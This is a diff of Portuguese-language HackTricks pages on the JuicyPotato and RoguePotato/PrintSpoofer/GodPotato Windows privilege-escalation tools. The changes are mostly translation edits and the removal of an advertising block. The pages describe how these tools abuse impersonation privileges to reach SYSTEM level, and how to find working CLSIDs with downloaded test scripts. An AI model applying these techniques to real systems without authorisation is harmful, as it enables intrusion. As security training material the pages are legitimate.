Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,22 +15,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %}
**JuicyPotato não funciona** no Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
**JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %}
@ -49,7 +35,7 @@ _Uma versão adoçada do_ [_RottenPotatoNG_](https://github.com/breenmachine/Rot
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e suas [variantes](https://github.com/decoder-it/lonelypotato) aproveitam a cadeia de escalonamento de privilégios baseada no [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [serviço](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) tendo o ouvinte MiTM em `127.0.0.1:6666` e quando você tem privilégios `SeImpersonate` ou `SeAssignPrimaryToken`. Durante uma revisão de build do Windows, encontramos uma configuração onde `BITS` foi intencionalmente desativado e a porta `6666` foi ocupada.
Decidimos transformar em arma [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Diga olá para Juicy Potato**.
Decidimos armar [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Diga olá para Juicy Potato**.
> Para a teoria, veja [Rotten Potato - Escalação de Privilégios de Contas de Serviço para SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) e siga a cadeia de links e referências.
@ -73,9 +59,9 @@ JuicyPotato permite que você:
* `CreateProcessAsUser` (precisa de `SeAssignPrimaryToken`)
* `ambos`
* **Processo a ser iniciado** _inicie um executável ou script se a exploração for bem-sucedida_
* **Argumento do processo** _personalize os argumentos do processo iniciado_
* **Endereço do servidor RPC** _para uma abordagem furtiva, você pode se autenticar em um servidor RPC externo_
* **Porta do servidor RPC** _útil se você quiser se autenticar em um servidor externo e o firewall estiver bloqueando a porta `135`…_
* **Argumento do Processo** _personalize os argumentos do processo iniciado_
* **Endereço do Servidor RPC** _para uma abordagem furtiva, você pode se autenticar em um servidor RPC externo_
* **Porta do Servidor RPC** _útil se você quiser se autenticar em um servidor externo e o firewall estiver bloqueando a porta `135`…_
* **MODO DE TESTE** _principalmente para fins de teste, ou seja, testando CLSIDs. Ele cria o DCOM e imprime o usuário do token. Veja_ [_aqui para testes_](http://ohpe.it/juicy-potato/Test/)
### Uso <a href="#usage" id="usage"></a>
@ -144,7 +130,7 @@ Primeiro, você precisará de alguns executáveis além do juicypotato.exe.
Baixe [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e carregue-o em sua sessão PS, e baixe e execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Esse script criará uma lista de possíveis CLSIDs para testar.
Em seguida, baixe [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat) (mude o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a tentar cada CLSID, e **quando o número da porta mudar, isso significará que o CLSID funcionou**.
Em seguida, baixe [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(mude o caminho para a lista de CLSID e para o executável juicypotato) e execute-o. Ele começará a tentar cada CLSID, e **quando o número da porta mudar, isso significará que o CLSID funcionou**.
**Verifique** os CLSIDs funcionais **usando o parâmetro -c**
@ -152,17 +138,6 @@ Em seguida, baixe [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/m
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,39 +1,25 @@
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
{% hint style="warning" %}
**JuicyPotato não funciona** no Windows Server 2019 e no Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. Este [post no blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda-se na ferramenta `PrintSpoofer`, que pode ser usada para abusar de privilégios de impersonação em hosts Windows 10 e Server 2019 onde o JuicyPotato não funciona mais.
**JuicyPotato não funciona** no Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para **aproveitar os mesmos privilégios e obter acesso ao nível `NT AUTHORITY\SYSTEM`**. Este [post de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda-se na ferramenta `PrintSpoofer`, que pode ser usada para abusar de privilégios de impersonação em hosts Windows 10 e Server 2019 onde JuicyPotato não funciona mais.
{% endhint %}
## Quick Demo
## Demonstração Rápida
### PrintSpoofer
```bash
@ -117,17 +103,6 @@ nt authority\system
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\